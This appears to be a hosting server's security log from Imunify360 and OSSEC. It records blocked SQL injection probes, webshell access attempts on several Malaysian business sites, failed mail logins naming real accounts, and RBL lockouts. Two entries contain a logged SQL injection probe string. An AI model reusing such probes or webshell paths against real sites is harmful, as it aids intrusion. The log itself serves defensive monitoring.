name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.73.52
country_id: 1512440
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=8608 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.59.231.99
country_id: 1527747
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?page_id=34 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.14.129.34
country_id: 1210997
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/site/images/stories/janmar2012/bocad/2-bocad.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/images/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 19:54:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56547: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 80.240.22.5
country_id: 2921044
domain: cabe.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:page_id||MV:21'nvOpzp; AND 1=1 OR (<'\">iKO)),||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 80.240.22.5
country_id: 2921044
domain: www.cabe.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:705554'nvOpzp; AND 1=1 OR (<'\">iKO)),||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.131.80
country_id: 3469034
description:
Jan 19 19:58:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.131.80 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 171.99.155.20
country_id: 1605651
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/middle/298/610616 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.87
country_id: 3469034
description:
Jan 19 19:58:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.87 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 141.148.153.213
country_id: 6252001
domain: usfood.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/141.0.7390.37 Safari/537.36||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.174.210.232
country_id: 3469034
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/about-us.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.237
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/assets/fontawesome/css/font-awesome.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.72.68.24
country_id: 3469034
description:
Jan 19 20:01:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.72.68.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.68.178.172
country_id: 3175395
description:
Jan 19 20:01:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.68.178.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.68.178.172
country_id: 3175395
description:
Jan 19 20:01:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.68.178.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.205.212.131
country_id: 6252001
description:
2026-01-19 20:08:24 dovecot_login authenticator failed for H=([127.0.0.1]) [66.205.212.131]:36774: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.235.225.181
country_id: 6252001
description:
Jan 19 20:09:54 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.235.225.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.235.225.181
country_id: 6252001
description:
2026-01-19 20:09:56 dovecot_plain authenticator failed for H=c-71-235-225-181.hsd1.ct.comcast.net (cragrive) [71.235.225.181]:46156: 535 Incorrect authentication data (set_id=sales2@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/career.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.200.205.85
country_id: 2017370
description:
Jan 19 20:13:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.200.205.85 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.200.205.85
country_id: 2017370
description:
2026-01-19 20:13:30 dovecot_login authenticator failed for H=(localhost) [31.200.205.85]:48458: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.131.220.152
country_id: 1835841
description:
Jan 19 20:14:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.131.220.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-01-19 20:14:15 dovecot_login authenticator failed for H=([121.131.220.152]) [121.131.220.152]:39891: 535 Incorrect authentication data (set_id=boss@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.41.245.12
country_id: 3865483
description:
Jan 19 20:16:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.41.245.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.131.220.152
country_id: 1835841
description:
Jan 19 20:16:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.131.220.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-01-19 20:16:38 dovecot_login authenticator failed for H=([121.131.220.152]) [121.131.220.152]:44332: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.41.245.12
country_id: 3865483
description:
Jan 19 20:17:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.41.245.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.129.254.250
country_id: 3469034
description:
Jan 19 20:17:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.129.254.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 20:20:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.106
country_id: 690791
description:
2026-01-19 20:19:57 H=([77.83.39.106]) [77.83.39.106]:60352 F=<harshit.m@lizindia.com> rejected RCPT <sales@cordage.com.my>: SPF: 77.83.39.106 is not allowed to send mail from lizindia.com


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 161.142.153.90
country_id: 1733045
description:
161.142.153.90 - - [19/Jan/2026:20:21:22 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9542248&pdata=https%253A%252F%252Fmail.tujusetia.my%253A2096%252Fwebmaillogout.cgi&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768825281 HTTP/2.0" 302 0 mail.tujusetia.my "https://mail.tujusetia.my:2096/webmaillogout.cgi" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:161.142.153.90


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 20:22:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55770: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.153.95.54
country_id: 660013
description:
2026-01-19 20:22:57 dovecot_plain authenticator failed for H=91-153-95-54.elisa-laajakaista.fi (cuted) [91.153.95.54]:39138: 535 Incorrect authentication data (set_id=marketing@kdiballoon.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 57.128.245.99
country_id: 798544
description:
2026-01-19 20:23:55 dovecot_plain authenticator failed for H=vps-76f33a45.vps.ovh.net (argiass) [57.128.245.99]:60330: 535 Incorrect authentication data (set_id=webmaster@ajresorts.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.227.154.245
country_id: 3469034
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/activity-details.php?id=526194 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.23.125.83
country_id: 6252001
description:
Jan 19 20:30:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.23.125.83 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.23.125.83
country_id: 6252001
description:
2026-01-19 20:30:41 dovecot_plain authenticator failed for H=c-24-23-125-83.hsd1.pa.comcast.net (rejous) [24.23.125.83]:52458: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.226.103.34
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=62&page=3 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.59.246.16
country_id: 1522867
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/run/237/286466 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 67.245.60.29
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/book/8/443/857929 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.50.199.9
country_id: 1733045
description:
[2026-01-19 20:35:46 +0800] info [webmaild] 60.50.199.9 - admin3@tst-ma.com "GET /logout/?locale=en HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [115.134.144.235] != Current IP Address [60.50.199.9]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.220.115.26
country_id: 3017382
description:
Jan 19 20:36:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.220.115.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.220.115.26
country_id: 3017382
description:
2026-01-19 20:36:06 dovecot_plain authenticator failed for H=vmi2940881.contaboserver.net (phiputbory) [158.220.115.26]:34548: 535 Incorrect authentication data (set_id=sales@fkr.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.136
country_id: 3469034
description:
Jan 19 20:40:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.136 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 194.5.53.103
country_id: 3017382
domain: lvconsult.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/assets/images/adriv4.php||SC:/home/lvconsultcom/public_html/assets||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.109.84.17
country_id: 2589581
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=286855 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.111.227.121
country_id: 1210997
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/var-dumper/Caster/ArgsStub.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 161.142.153.172
country_id: 1733045
description:
161.142.153.172 - - [19/Jan/2026:20:48:43 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6919575&pdata=https%253A%252F%252Flnlfireprotection.com%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768826922 HTTP/2.0" 302 0 lnlfireprotection.com "https://lnlfireprotection.com:2096/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:161.142.153.172


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.0.130.195
country_id: 3508796
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/33chartcreate-column.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 129.122.147.144
country_id: 3351879
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Tests/ExpressionRequestMatcherTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 20:50:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64674: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.121.63.26
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=72041516783766 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.73.201.97
country_id: 6252001
description:
2026-01-19 20:52:17 dovecot_login authenticator failed for H=c-73-73-201-97.hsd1.il.comcast.net ([127.0.0.1]) [73.73.201.97]:50228: 535 Incorrect authentication data (set_id=info@achieversvisionacademy.com)


